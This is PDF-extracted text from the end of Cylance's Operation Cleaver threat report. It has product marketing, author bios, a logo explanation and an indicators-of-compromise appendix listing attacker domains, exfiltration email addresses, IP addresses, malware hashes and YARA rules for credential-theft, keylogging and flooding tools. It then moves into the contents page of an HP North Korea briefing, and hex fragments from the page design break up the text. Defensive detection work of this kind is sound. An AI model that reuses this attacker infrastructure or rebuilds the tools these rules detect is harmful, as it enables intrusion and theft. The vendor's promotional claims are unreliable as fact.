brain. The world has combated cyber threats by doing the same thing over and over again ... it s the definition of insanity! Jeff Moss - Co-Chair of the DHS Community Resiliency Task Force & Founder of BlackHat and DEFCON security conferences Cylance has eschewed the old foundations that existing cybersecurity products are built upon. Instead, we ve based our approach on mathematics, machine learning, and data science. This algorithmic approach has been proven to detect and stop exponentially more modern threats. Leveraging algorithmic risk modeling, CylancePROTECT protects endpoints from everyday viruses, worms, trojans, and spyware, but unlike other security products, CylancePROTECT offers true future-proof protection against the most malicious threats in the world. Advanced Persistent Threats (APT), 0-days, and exotic exploitation techniques are easily detected and halted with little-to-no impact on the end-user. Existing reactive solutions rely on a constant stream of signature updates for threat detection, which is not only costly and inconvenient, but also requires sacrificial lambs . Only after a previously unseen threat has inflicted damage can the rest of the industry begin to detect it. CylancePROTECT doesn t require constant updates or even a network connection to protect against so-called previously undetectable threats. By identifying and defusing attacks in near real time, before the attack can execute, we can finally do away with the need for a patient zero As Richard Stiennon, Chief Research Analyst at IT-Harvest, put it, Many vendors are trying to solve the endpoint problem, yet Cylance is the only one using the power of math to stop malware and with more effectiveness and efficiency than current solutions Interested in seeing what CylancePROTECT can do for your organization? Contact us! Cylance is one of the fastest growing cybersecurity technology firms in the US. Cylance s flagship product CylancePROTECT has been adopted by Fortune 500 companies and government agencies across the globe. Cylance was founded by 27-year security industry luminary, Stuart McClure, former Global CTO of McAfee, original founder of Foundstone, and lead author of the international best-selling book Hacking Exposed. In building Cylance, Stuart brought together the best scientific and executive minds from the likes of Cisco, Sourcefire, Google and McAfee. The Cylance board of advisors includes former high-ranking officials from the DHS, the FBI, CIA, and executive titans of business. #OPCLEAVER CYLANCE PRODUCTS CylancePROTECT is the only next generation endpoint security product that applies math to mute existing and future malware, viruses, worms, trojans, bots, APTs, 0-days, exploits, adware, spyware and hacking tools without needing any updates or even a connection to the Internet. The technology is founded on the principle that to fix the industry, you must start from scratch with a way as yet unseen. CylancePROTECT does not rely on signatures of any sort (blacklist or whitelist), behavioral analysis using IOCs, sandboxing analysis, heuristics, micro-virtualization, or dynamic detonation to detect and prevent malicious files from executing on a target endpoint. While every other endpoint security product must collect a sample, analyze, and write a signature f20476 f64 to detect it, CylancePROTECT can detect malware before it executes by statically analyzing 6 4 features found in the binary itself. 4 0 Features and Benefits of2CylancePROTECT: c c2 Near real time detection of malicious files, even if they ve never been seen in the wild. 04576696 Can be used to augment existing endpoint security or be deployed as a complete replacement. Does not require any signature updates or connection to the cloud. An easy-to-use web management console with intuitive workflows. Low-impact endpoint agent. For a demo of CylancePROTECT, contact a Cylance expert today! 6b2 6e 9 86 546 Figure 26: Cylance products detect and stop all the malware used in Operation Cleaver, even though the vast majority of the samples are completely missed by the antivirus industry as of this report s publication. 69 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 CYLANCE SERVICES Cylance s Professional Services team is available to assist companies affected by this campaign. Cylance is providing consulting to companies that may have been targeted by these advanced threat actors. Cylance will perform initial triage in order to determine the extent to which your company has been affected by this campaign and work towards establishing a containment strategy. Cylance has two tailored offerings for clients affected by this campaign. The first one includes ICS in our incident response since many companies affected are in the Critical Infrastructure and Key Resources (CIKR) vertical. The second offering s focus is to deploy our proprietary tools and methodologies to detect and mitigate the threats posed by Operation Cleaver. Option 1: ICS Incident Response & APT Detection and Mitigation Option 2: Detection, Remediation, & Mitigation For more information on how the Cylance Professional Services team can assess and respond to attacks like the ones obseved in Operation Cleaver, contact sales@cylance.com today. INCIDENT RESPONSE COMPROMISE ASSESSMENTS Stop the threat, mitigate risk, and remediate. Uncover previously undiscovered breach and damage. PENETRATION TESTING Check the integrity of your environment and infrastructure. FORENSIC INVESTIGATIONS Dig into who, what, where, and CUSTOM SERVICES when a compromise occurred. Get expert help that addresses YOUR security needs. #OPCLEAVER ACKNOWLEDGMENTS Brian Wallace Brian is a Sr. Security Researcher for Cylance who joined shortly after the company was established. He is best known for his avid botnet research (often going by botnet_hunter ) and for his novel malware analysis in the A Study in Bots blog series hosted by Cylance. Brian has been a dedicated open-source developer as well as an advocate for public and private anti-botnet operations. Brian actively develops techniques to combat cyber oppositions in positions where resources and leverage are in too limited of supply for conventional means. These techniques, cultivated by Stuart McClure, are the Art of Deterrence. In a previous investigation, Art of Deterrence techniques were successfully used to divert Indonesian hackers motivated by monetary gain away from their highest yielding target group. 6f20476 f64 4 Brian s botnet research covers a wide range of topics, from using graph analysis to estimate 4 20 the amount of ransom that has been paid to a ransomware operator, to utilizing IPv4 scanning techniques to identify and take down point of sale malware panels. c c2 Stuart McClure 04576696 Stuart is founder, CEO/President and Chairman of Cylance. Widely recognized for his extensive and in-depth knowledge of security products, Stuart McClure is considered one of the industry s leading authorities in information security today. A well-published and acclaimed security visionary with currently eleven books in print, McClure is the originating founder of the Hacking Exposed series of books, the most successful security book ever written. From his work, he founded Foundstone in October of 1999 which sold to McAfee in 2004. 2 McClure brings over two decades of technology and executive leadership with profound technical, b operational, and financial experience. Besides Foundstone, Stuart held leadership positions at 6 InfoWorld, Ernst & Young, Kaiser Permanente and a number of government agencies. At McAfee, 6e McClure held numerous positions including SVP/General Manager for the Security Management BU 9 as well as EVP/Global Chief Technology Officer responsible for almost $3B worth of revenues. 6 Today, McClure is CEO of Cylance, a disruptive and innovative startup applying math to the problem 8 546 of security. Cylance products such as CylancePROTECT prevent the most advanced attacks in the world without signatures or sandboxing in realtime on the endpoint. Cylance Services offer highly specialized security services such as incident response, forensics, compromise assessments and advanced penetration assessments for global critical infrastructure. Cylance Team Cylance employees work passionately and tirelessly every day to achieve one goal: Protect the world from cyber attacks. And with their efforts in tracking Operation Cleaver, they have achieved that goal. Our endless thanks to all the Cylancers who contributed to this report. 71 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 THE OPERATION CLEAVER LOGO The Operation Cleaver logo, created by Cylance specifically for this report, was inspired by the infamous logo used by the Army of the Guardians of the Islamic Revolution, also known in the west as the Iranian Revolutionary Guard Corps (IRGC). Due to the close connection between the members tracked in this report and the IRGC, it was only fitting to replicate the look and feel of the IRGC s iconography as the anchor for this document s branding. 20476f6f64 446f 20 c c2 04576696 e6b2 96 86 546 Army of the Guardians of the Operation Cleaver Islamic Republic (IRGC) Several of the visual elements present in the IRGC The striking visual elements that make up the logo logo have been carried over to the Operation Cleaver of the IRGC have very specific meanings: logo including: The clenched fist holding a rifle, most likely an A clenched fist, this time holding a cleaver, AK-47, represents armed resistance. represents the group s likely connection with the The globe symbolizes the IRGC s worldwide IRGC as well as armed resistence in general. ambitions. The globe in the background represents The book, from which the clenched first Operation Cleaver s worldwide reach. emanates, represents the Qur an, connecting An ethernet cable connected to the clenched first the religious ideals on which the group was represents the nature of these attacks (cyber as founded to the armed struggle. opposed to traditional warfare). The plants, possibly wheat, represent The hex string translates to Think Evil, Do Good prosperity. a mantra our research team lives by. The name of the group in Persian, the year in which it was founded and a passage from the Qur an (8:60) And make ready against them all you can of power , are represented in text. APPENDIX A: INDICATORS OF COMPROMISE 6f20476f6f64 44 20 c c2 b204576696 6e6 9 86 546 #OPCLEAVER 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Indicators of Compromise (IOC) This Appendix details the IOCs discovered in the investigation of Operation Cleaver. CylancePROTECT prevents the malware used in Operation Cleaver from ever executing. Domains doosan-job(dot)com downloadsservers(dot)com drivercenterupdate(dot)com easyresumecreatorpro(dot)com googleproductupdate(dot)com googleproductupdate(dot)net kundenpflege.menrad(dot)de microsoftactiveservices(dot)com microsoftmiddleast(dot)com microsoftonlineupdates(dot)com microsoftserverupdate(dot)com microsoftupdateserver(dot)net microsoftwindowsresources(dot)com microsoftwindowsupdate(dot)net northropgrumman(dot)net teledyne-jobs(dot)com windowscentralupdate(dot)com windowssecurityupdate(dot)com windowsserverupdate(dot)com windowsupdateserver(dot)com www.gesunddurchsjahr(dot)de Email Addresses Used for Domain Registration davejsmith200(at)outlook.com tarh.andishan(at)yahoo.com salman.ghazikhani(at)outlook.com ahmadi(at)odeconline.com btr.8624(at)yahoo.com kafe0(at)yahoo.com ghanbarianco(at)gmail.com dg_co(at)yahoo.com azlinux73(at)gmail.com zahiry_alireza(at)yahoo.com domain(at)netafraz.com zahiry.alireza(at)gmail.com #OPCLEAVER Email Addresses Used for Exfiltration testmail_00001(at)yahoo.com TerafficAnalyzer(at)yahoo.com dyanachear(at)beyondsys.com IP Addresses 50.23.164.161 95.211.191.225 64.120.128.154 95.211.191.247 64.120.208.74 95.211.241.249 64.120.208.75 95.211.241.251 20476 f64 64.120.208.76 108.175.152.230 64.120.208.78 46f 108.175.153.158 64.120.208.154 4 159.253.144.209 66.96.252.198 78.109.194.114 20 173.192.144.68 174.36.195.158 c c2 80.243.182.149 184.82.158.18 87.98.167.71 184.82.181.48 04576696 87.98.167.85 188.227.180.213 87.98.167.141 192.111.145.197 88.150.214.162 203.150.224.249 88.150.214.166 207.182.142.68 88.150.214.168 212.87.154.12 88.150.214.170 212.87.154.14 6b2 Mutexes 6e 9 ZSC1 86 Adobe Report Service Bmgr 546 Dynamic Mutexes These mutexes are used with the process ID of the malware as a suffix: demdaramdidam ILoveThisMutex 75 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Installed Services Names COM+ System Extentions COM__System_Extentions Network Connectivity Manager Service1 MsNetMonitor Pcapins scManagerSvc CredentialSync Adobe Report Service Samples (MD5) Listed below are both the MD5 and SHA-256 hashes for samples related to Operation Cleaver. 01606d42c64e4d15ea07d4e1fbd0c40d 0405adfc8739025ba88c746c8edebfb8 04fdf5b757764af8bc7ef88e0f8fe8c1 0512c5a8807e4fdeb662e61d81cd1645 0593352cadb2789c19c2660e02b2648b 08eabb6164b1b12307931e4f2d95f7c6 0900c3319e4c46ff9478e3e1fa9528a1 0acd8945bd162e5e7aa982cddbd8ecaa 0ad6a01a916f14fc24fa43e46813b3bb 0b2cbfa07fa9a090b35a3dfdb0ebad9d 0b80a8d2c56789b4bda9a56a53e7e2b1 0f4b526d8edf1d3d32c81a692c325733 10d019932fc43e9b39be709f8281203d 1223e93dd4a5ad0536c8232936cb35fe 144064951cceaf1bb81e8f215de76101 14a80287490f3a68d99c0f518b246fd2 17d1f25185b31044eb89a99d50d36a26 18942a44d2b5f2bbf54e2c18ac293915 18efd3f66d23c5c555e128a19de63667 19d9b37d3acf3468887a4d41bf70e9aa 1c2bc564805695dbb3a26d9c9f7dffea 1c7e40443e36c4b7592617f0a271835d 1d8fd8c357907a79f3e6d9f831f2bd7d 21829130d5e2a69b0f6963c68b070127 2e36a3f3b888c1fd3c3aa3f1ba7969ad 30120cf30ea4d870635893cd75338f97 304f7f17031af90012d4e4d1cc5cfb8a 336b501bd96e309f93c8d12960634248 38998ff6f9a3874b6943d7ac837d19c3 #OPCLEAVER Samples (MD5) cont. 3b6260ead85b4f0d706203e062a34a21 41eeae4158152f49ab64601c4358a7a1 42714874f86fa9bd97e9be460d7d72c0 42e459d1d057bd937e0d00958e591f08 48dd515e2b148493cf47b0c0c5713573 491f031d0a9ad4919cb29cb2d9a9a65c 4e483762f555b078976a1ddf3fc3e532 53230e7d5739091a6eb51298a50eb616 537b42d3cd9812e5b583131b83a48508 53841511791e4cac6f0768a9eb5def8a 54def27d598b75f297a8cf2c97150997 5837ad676f6c0f0f4f48096648d6e81b 6f20476 f64 5a4046fd0825641766b197a2132d2410 44 5e5d6469b270aa60dc90ddfde32ba082 5eef1ee37714c9ee07653419890010d6 20 6061410c04b9fa9e47593611a02ff2dd 6094f64d54575a2d5a3fbd2d23c4f44e c c2 61896424e995476b23f73a5c1c34af5e 04576696 61e307a651a7bbce78eb48c1d395501a 636c2d2855ac8a8693c4ef9e89c67205 641fc6831d8c215e9645cf5d4a8be5e5 68cfc418c72b58b770bdccf19805703e 69d80a27ab0c85ef073badbee7ec55c7 69f9705ecdcc709506f7665ad373c1a0 6cd5f1982693f2ce21effddf18f5baf5 2 6d4d21258eef96979ce6f2417c6c019f b 6ef950941d114c09af359402620d7cba 6 735cdf3a3e9c06d88de31112782ef831 e 736aab6c731d098931d6a4bf11a8150e 96 758f2557922e360bff3d1565e6871ea1 6 765f3db4421bdf8bb953dffe37398453 8 546 78a63bc8433cea162e31a5865d5817c9 836ef6b06c5fd52ecc910a3e3408004a 84384d77ac9835720375943235d33a87 855239a2434a3bc78751d9ba9cfac900 8994e16b14cde144a9cebdff685d8676 9376e5b754ccd94f7c66b811d81e240e 948c570269059928517f155b4b6db1a4 94ef4f98b9c321f74778811f64c68d03 96e372dea573714d34e394550059b1d7 9838f7ead2023061eb79587243910daa 985e86ac1854585d2771fd173b63b98b 77 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Samples (MD5) cont. 9a48bee62c41c0640e9564cc37f718bf 9bcb8091ba414a38bfb7a39eccf3f6bc 9e00a52caec6385e0ab1e21e9794a5b0 9ef9ec11c9f83dde38556feaf88b2a29 9feee6fe54ee4ec859f7bad0d798ac4e ad94daecadbac8a54e81a69cacc41441 ad99db10c0c12eaea09b39568a761b52 adf77661a409b5a1304d08b62a1264f5 af58d803b2e0b5d0f194c25ff85a8d81 afdfafb2c1e2af1a48e833da8f35bb83 b163fcda16d8fe860a906f768ef27bc8 b2d78ecce135e008adc3e80915f69798 b3d5e1ff7a7ff10cd738b215f92d1ad5 b7ddb09bdc0d0eb39c364d9b9d6436cc baa76a571329cdc4d7e98c398d80450c bd9fbbbd7dab62ed6a56d00f21c4c67e be6273ebd472a2a499a6c1e48ae81112 be741520f13a2bf8bc064a73e146bf08 bfc59f1f442686af73704eff6c0226f0 c1b5464c0506bea6cf778dd18fa456cc c440ec0a8cf7341b746160a684c51741 c5282f088b90de1ab758424b152d34ac c91887d861d9bd4a5872249b641bc9f9 cb52f84d462ac67bde53eec40128408c cbe05db979444589211e830487df7610 d000071a6bf49da390fef8f12aa9e3f8 d84c3d678f269a0c6beb22ed266efac0 de56ca66423fc5e42808445f2b5631d3 de56ca66423fc5e42808445f2b5631d3 de744bcb7c63b035b6c5c3ec0279c3ac e0f6c5fdde04fbf8cd1a42f75cb06248 e4c9e8f28894e89d6270ad6a4c6cd064 e4e5f1efe44ac06bc3672fd1d8f85630 e5428bcae8b4e84cb5186ad5c83ffc98 e7428dec7deb041692d6575e069c1cf0 e8b1f23616f9d8493e8a1bf0ca0f512a e8ea10d5cde2e8661e9512fb684c4c98 eac61634da4513a10b596e6c8c299126 eb48c318e8fd9a2a7a18da6578db05d6 f1301bad6da06f436e3a3de0244848e1 f3d80d813dc6a239d921169c57c5789d fa7c9a78eda0f3bb9ff8ec827d5bc9ff #OPCLEAVER Samples (SHA-256) 039ce41fb40a27a46c43bf7ef7d1b08cd5e3f6d71ec08e140cd9166247e783af 0510efd8eae869cd0773a033d5a46d6b7f0162174019e54618887f3085312fcb 064e47074342a6e026de068adaf48c41b2ec2c341c7514768cb7b39425905524 08065f658d65773e583e9ca784148117d87be3a5005a0871cbc4446f42ed5040 0ce968ea8cffb6312f6d17af9044a14f79d6427b9038bcfc6212acb5aa23e74b 0d1f479842cd5bde4f18ab8c85a099da39e13a4051a7c21334e33d55b6f18d76 0fee562cd821f53e864e02b00a59780aed63abca9f7502678fca9bf47b8b12bd 10647c4e7b1b741aeaea9b16d8eb5dae3237ce00dc69f6843790767a277b6204 10cf7a186897243363278cf0283a1687749d9ba43fa713b9f974050f56e97cca 15121b7cbd15143fc0118e06ebe70b7dc1e239b21d865b2c750ed8a0f1f00ef2 1578a4c641f0c7913cdf08267d1a88ac384d586c453b922670be380b7e67a179 1698d8168e860c3377646b12444d38a2e6aebba5a499504a5fc0a73b91d89407 f20476 f64 1756ba79cd63458a50df86203380824ea855c8d6bf1c673e05a13a62f14cd170 6 4 1aa25a930e8bae5abbe75907c335c7d1d875b60f72f02855a8d37daadc6b469f 4 20 1efad3bce90ac1d2011ba686f1ab0e435b9a709763fb238dbcad0f44acddccbe 20dddd8651a26161139b49dfabfb3b4b743c57fcc982afc11d1c5c4264a2a8be c 2a13730f8f16e04cece490eee53bbdcc9bd1e01fbbc2a758562a6462d9473742 c2 2db6f74a8aef9fe86aef5dff3334e8dd252ac45e26b4a12e8641a770bbb08b45 04576696 2e32c6c9179750df7f1ab35536f09c6b09c73faccea7325fe5c79b5087f5dd6f 32aa8f19e452a1471640cd7be72f806e1997fd5a1a2b2743898ee4cd0aed0dc5 37af3f3b3c43690a2e73d4b5edb968896ec4da7b2c21b12a94e146a10f07fef8 39ba1710545fc9e123abbbce61bda1b00525e59346570a3f8c36f7adde5bb47e 3a7ebd7f502fd3f6b3b88693b1123147621b4030c21df9e0690864e8969e149a 3bdbf591fa0d81606929fdf6abe44ba6e185dd8fc0fa62ade8afde48f704d11a 3d18e18ae97045cc3198026ddc681e7d957a25402b79141a3c6fdc18bb879ad6 2 3fa302449da1e4fad81143cc48fc80034cbc41804f00e00ac17bdb7dba0b992d b 42ca980b7fc7892716a923c7bf3ff6a76ce81f81bd0a83bea40a1735f33b36b8 e6 45a2ea5226c1ce11e8955c99d5b58fd3baa66fb53436be63cb099e96ef30db43 6 48437fe7d7d0c5fbde340e1392662f7fc421fc05d7c9824f71160475105ad999 9 4f131095ba56f6d3621a007985ac758d780b0c837f554f6e44d535ed55d33af1 86 508c7691d535102538aaa6dce32d750c2492dada36506a390c1959f261a0244b 546 50d11ad32eb72b128185a0aecf39be8085b6b1a8f30cb41d8bc177a1ff8f3067 550a33353730579a7d2b9276cc3b66ca252a59e198285c732fcda46513351c03 5ac9f4e25ef4002274496e18ea537b4c582a3acf3126cc1830a63941d9c91e64 5d1e81f5a4fca25b7afb18eb906c9a53965d81dcf62f9d91499baf03229a8de8 5fb4ae33cac8b2b74e63fc639eeb969a660ef9a7e8310c2769acc925122f047e 616a25378f70474bcb3ad0fad2f1383009c5b7b3cea937be2a5234a110d64b78 634685e43e9f73343cb337ec64a8679485e1ddb4c2de5ecb6a5746aa5ddb1b72 6474f74340e7199919e7532c6756cf459cd20c3391852d80b058eb7997a31e9f 650f143ac0a668536b6750a628ec51e7ca28f5520105eeb87308f557cd74e63c 65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976 79 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 Samples (SHA-256) cont. 65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976 67a2b9c32653161fafaea231b6661d9d797bb0964c79c9ee46cf2bf76571ed45 6888723e56f2e7696ac1e1910f68a1d54d7c76e9eb8e69554980b04e881e0e86 7199acca3d851889efa4a5a42b3f55010f4916294201ce5ad20c76898200ffa9 75b77606175ee696395f1b0e6850d5cd6596e34f74804b30c9bf9e368ebcd299 7890a726603edcd70b6e6f3de367cf891131d833d14c506b26e07935a715048f 79ca080a152bd44f9b07af0f940c303e45e10d516633384f5b3d34a29d0d03c8 7b9fd4b9b36cf84fcbcb3e9bf589d8a51c2166558baf462ab312929fbb584642 80ed4e7a242ee3d1c2656affb04cd56e7262e5a6bf2bec2f8435aa3f47c9b5d1 8129345ce66643d880a3e01e607399279dec7bf9cadc06d9b26134f6d205ed06 8813bd0b4ad6c6155b571c9c1fbcabfeed3812ab8fbd9acd8372385094aaa565 8f02dfd900760cb2c84e4f5a859512f5d719daae063a719c956cbf6185004da5 8f9a45ba73c67ba9c4958ea49508c350a0e1c3caf476ccab2fb8cb3049e3ba46 902f2391b1075e14985bc91316c98cdcf3442ecaeb3ef12422813f946ab8409e 9801f7c552cbcf8c413dade920b96be2eaad9624ba4adaf17f80f815dac58974 9aec3f14ec69e9942a7d3075bb5479dc5fa61e6c2a03cbee1a9269264efac51c 9ba06cb9dcd05e6866ee0e9ecc0c9a480d5b6c8d177ef1907d7fcc02e2871806 9ebbd300ddf70bccbecfe3bf47898e5959cfc090cef8716e2e638d840a24007b a321158d7f5be572ac5536ad57cb4a312bea52430b03da9dda97f4548a080bc3 aa23c55bed562cbf47c84092d0a35b0da35e3db3982a18a28fb45ca70ac6b399 aa7ac2a053ceba819fcd1c8b273db64296c2754a8101291870e142519c416b1b abb0ebd57cf2b0d54cd2b01fd9b11ccd9ed68053174d131922811a9ad22459ea ac272bd9701c5d9cb7e8d1a4e2a191a894e98aa463fb17628c52da16612627d8 ad06e03fdd9eff480ca623ea23ec87c794d99ae6dda308c979fa5173b2b8a514 ad5fbf8e381d92225aa6c022e2bbc175be0e33138b5fa4bbb508b970b33bbc1e ad71283aadb2455f7a1cd4e8283c789599c33d328da44965f6c282f2e600e1b2 aebac79b820891510b9e14ef97892875bf4197797ca91aef149acdc1e6bf6a7c af8deedc78097c387926bb95ebd6ab2a870349794f452f35f84132b0dbe12e09 b18f80a02d45eaed618993447c82916ad8802e552dddccf733a3698794d8cb9d b275caf4cbc4f47b3d772886172438b81a2e11ff5a8683be488de4b219b39070 b42ef5f39aaf6e52ff4e0510b6e5c3fb5c84bf35befcde8bcc18dc86bccbdfb4 b49706b7d5432a368070ee58aa8776cce1ddc2098e863b1b7b36d7b7d79fe6a9 b4d4c421bc70e5a3345d4b8c9d1090ff16ff82870bd38216bb8bac7f1088dafb b99cddd428e78ede109c7bd3683c374ac6010a15c0633939511e39c1ed99f621 bb2b135c7a9b366ec7090404761a9ee9e7c03c56d68165a6789a29e804104068 be4cc2d1504002107a77bb943ad2d22c205cdcc6ad4804c0440970e5e922d30d bf7746d29330b666d82b153989d41406305572b92f6b24a1f1adef6374b58328 bfa66edd0d9ae2c8179893ee881f479b37dce0ce8220a8a18e1b42a879ddff4a c11a244cba9da30173ff1dcb755a377c3b2b1f99cd15a887041937b086113ebd c1c1e5b43b1ac9af79aafa59a6062468142afc2278b6fea0bb4dbbb83af65d06 #OPCLEAVER Samples (SHA-256) cont. c30a2fe22050dcac30616a3d27d5c92ea2815d060b365747984913758a209aaa c74df42cfc7c7221f7f28c67bd726a1caad8453fc35daddfb094aaeede2e8e1e c9010e060de6a83c3802ed4e6b7f544e6eb2b5420ee2be5c71646e6a27182bea c901d84878f50a93ab76f2ea31763bebb0acf0c0f9ad86b3abf98e5cde499332 c99fa90038cec60d9aa21a49e537ad9ea55672ed78cf5b429cb4c75ebc5ccd69 c9fc8133e755c14cb02872ba05a2332baefe5e94797479aded46c3db83a7cc14 ca7138bfe08b480386653072482e58f6c48b05a1e7fb8a82cc042806eae9acc2 caa769a21bf97987de4cc92874eaa03e7b0538082c502606aa8ca97823e2e2aa cd75664edea18e3aa303763e6f6c639b3e90ead4b51c2b3e41c808e3d968c848 cffba2a145d91bdecfa8cb32af6964576889faa04591b503a58507cf89ab7cae d045ea925cf461da5c58cc2af8a0f96ec7c961ea62ffcf1de0b04abf9b0fa8ac 20476 f64 d11b504b18bc8615e98f3c37d98c6fe11216a0f070a056414ca4407fc298fbd6 6f d3c2488d321ca6760986fc1a55a3c1db3f7b215fc2883d7e4fabc2871b5a27ac 4 4 d4e54c1bc1efba20d75861c01bb2cc053b1ab9fadae29bf6c4c04528110056e6 20 d5d1fa5b5474089e59c05ca88a96257d4449d852b429c620aa773408bd48d067 d8c7aef47bac024188d929e749e90ac172fd51b8f6e16dec4b6635dc2ffa85ef c c2 dc21a2189f9e2d63872c0b5ee7ec75316799c60eb018ba9b98398b69efe45365 dc22e4b5ef752d3ec47d7bb3de7534e4a2daa2642de8c9839ad262d33a7aa7dc 04576696 e180f933aad709883acde441ee64407d49fa4183ae5130480005a0e81a0de491 e250bce96e5f0c162dbe4d87a1a7d65deb910f59c0bea1140897c22eb9dca501 e2e9d60c76225db77668440ff698eacef48b544ffab1ae0c641dcedb5ad570bd e339c7b77113f1a1c4c2f7e307b785cc4fc9145663fe3a612079240efcc9ac93 e3b38627d9e94a7e084e12cbd2acf7e66ce90021972061f8b9b61316eddb3bd6 e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53 e4d43cd20d4ea59f68c26d46c30e1819cac5b9552d27fce826b0855494018267 b2 e509843b2c061fa5e6ea7d11554bb22f36e6b79b7cd5cc0639ff63d48ce66336 6 ed85c3f8d2cccbb6a0ec2b4b27b158b4dbc6885245081901dd51eb2266f4b2bf e ee33dd17802ca906fcc68815ff2a7d12ac7fab7f1c272a56444e4fd6715a6227 6 eea0dcabaabef075081e23fc91b84e07042117bb0362e59f11b17338108d0c1b 9 6 f7e1a74e08c5718de9edc57facc26dda97ae5b723420a06ef56f1f6f8aa6fb5a 8 fbc531e83359310e2940ffff180a26e28d55396710c748e2ae7e64357273a09d 546 fd4a9af7ba67f794a83a720539666e89f288686a432b5c7133033a2ebde266cc Public/Private Key Fingerprints 0A:E1:AE:85:6A:BB:D5:87:BF:8E:21:4E:92:E6:1F:8C 70:70:2F:11:2B:01:03:4A:70:D9:5E:11:CC:E9:7A:16 6F:DB:BB:BA:DA:7F:FA:4B:3F:A1:C3:46:5E:4B:8F:31:E8:31:F1:EC 78:BE:02:06:B3:1E:57:DF:62:4E:30:16:ED:AA:5C:56:F7:E8:11:62 81 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 YARA Signatures rule BackDoorLogger strings: $s1 = BackDoorLogger $s2 = zhuAddress condition: all of them rule Jasus strings: $s1 = pcap_dump_open $s2 = Resolving IPs to poison... $s3 = WARNNING: Gateway IP can not be found condition: all of them rule LoggerModule strings: $s1 = %s-%02d%02d%02d%02d%02d.r $s2 = C:\\Users\\%s\\AppData\\Cookies\\ condition: all of them rule NetC strings: $s1 = NetC.exe wide $s2 = Net Service condition: all of them rule ShellCreator2 strings: $s1 = ShellCreator2.Properties $s2 = set_IV condition: all of them #OPCLEAVER YARA Signatures (cont.) rule SmartCopy2 strings: $s1 = SmartCopy2.Properties $s2 = ZhuFrameWork condition: all of them rule SynFlooder strings: $s1 = Unable to resolve [ %s ]. ErrorCode %d 6f20476 f64 $s2 = your target s IP is : %s $s3 = Raw TCP Socket Created successfully. condition: 44 20 all of them c c2 rule TinyZBot 04576696 strings: $s1 = NetScp wide $s2 = TinyZBot.Properties.Resources.resources $s3 = Aoao WaterMark $s4 = Run_a_exe $s5 = netscp.exe 2 $s6 = get_MainModule_WebReference_DefaultWS b $s7 = remove_CheckFileMD5Completed 6 $s8 = http://tempuri.org/ 6e $s9 = Zhoupin_Cleaver 9 condition: 6 8 ($s1 and $s2) or ($s3 and $s4 and $s5) or ($s6 and $s7 and $s8) or $s9) 546 rule ZhoupinExploitCrew strings: $s1 = zhoupin exploit crew nocase $s2 = zhopin exploit crew nocase condition: 1 of them 83 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 YARA Signatures (cont.) rule antivirusdetector strings: $s1 = getShadyProcess $s2 = getSystemAntiviruses $s3 = AntiVirusDetector condition: all of them rule csext strings: $s1 = COM+ System Extentions $s2 = csext.exe $s3 = COM_Extentions_bin condition: all of them rule kagent strings: $s1 = kill command is in last machine, going back $s2 = message data length in B64: %d Bytes condition: all of them rule mimikatzWrapper strings: $s1 = mimikatzWrapper $s2 = get_mimikatz condition: all of them rule pvz_in strings: $s1 = LAST_TIME=00/00/0000:00:00PM$ $s2 = if %%ERRORLEVEL%% == 1 GOTO line condition: all of them #OPCLEAVER YARA Signatures (cont.) rule pvz_out strings: $s1 = Network Connectivity Module wide $s2 = OSPPSVC wide condition: all of them rule wndTest strings: $s1 = [Alt] wide $s2 = << %s >>: wide 6f20476 f64 $s3 = Content-Disposition: inline; comp=%s; account=%s; product=%d; condition: 44 all of them 20 c c2 rule zhCat 04576696 strings: $s1 = zhCat -l -h -tp 1234 $s2 = ABC ( A Big Company ) wide condition: all of them rule zhLookUp 2 b strings: 6 $s1 = zhLookUp.Properties e condition: 96 all of them } 86 rule zhmimikatz 546 strings: $s1 = MimikatzRunner $s2 = zhmimikatz condition: all of them 85 476f6f64 6f20 44 OPERATION 20 2c b204576696c CLEAVER e6 96 86 546 6f20476f6f64 044 2 2c 6b204576696c 6e 9 86 546 #OPCLEAVER Companion report HP Security Briefing Episode 16, August 2014 Profiling an enigma: The mystery of North Korea s cyber threat landscape HP Security Research Table of Contents Introduction .................................................................................................................................................... 3 Research roadblocks ...................................................................................................................................... 4 Ideological and political context .................................................................................................................... 5 Juche and Songun...................................................................................................................................... 5 Tension and change on the Korean Peninsula .......................................................................................... 8 North Korean cyber capabilities and limitations ......................................................................................... 10 North Korean infrastructure.................................................................................................................... 10 An analysis of developments in North Korean cyberspace since 2010 .................................................. 14 North Korean cyber war and intelligence structure ................................................................................ 21 North Korean cyber and intelligence organizational chart ..................................................................... 26 North Korea s cyber doctrine, strategies and goals ............................................................................... 26 Cyber warfare operations ........................................................................................................................ 27 Gaming for profit and pwnage ................................................................................................................ 29 Intelligence and counterintelligence ...................................................................................................... 29 Psychological operations ........................................................................................................................ 32 Electronic warfare ................................................................................................................................... 38 Training cyber warriors ........................................................................................................................... 39 Important political and military ties ............................................................................................................ 42 China ........................................................................................................................................................ 42 Copyright 2014 Hewlett-Packard Development Company, L.P. The information contained herein is subject to change without notice. The only warranties for HP products and services are set forth in the express warranty statements accompanying such products and services. Nothing herein should be construed as constituting an additional warranty. HP shall not be liable for technical or editorial errors or omissions contained herein. Russia ...................................................................................................................................................... 43 Iran ........................................................................................................................................................... 43 Syria ......................................................................................................................................................... 44 Cuba ......................................................................................................................................................... 44 Timeline of significant North Korean cyber activity .................................................................................... 45 Patterns in the noise: cyber incidents attributed to North Korean actors .................................................. 47 DarkSeoul ................................................................................................................................................ 50 WhoIs Team ............................................................................................................................................. 52 IsOne ........................................................................................................................................................ 55 Kimsukyang ............................................................................................................................................. 57 New Romantic Cyber Army Team / Hastati ............................................................................................. 57 Malware summary........................................................................................................................................ 58 Analysis ........................................................................................................................................................ 60 Summary ...................................................................................................................................................... 61 HP Security Research 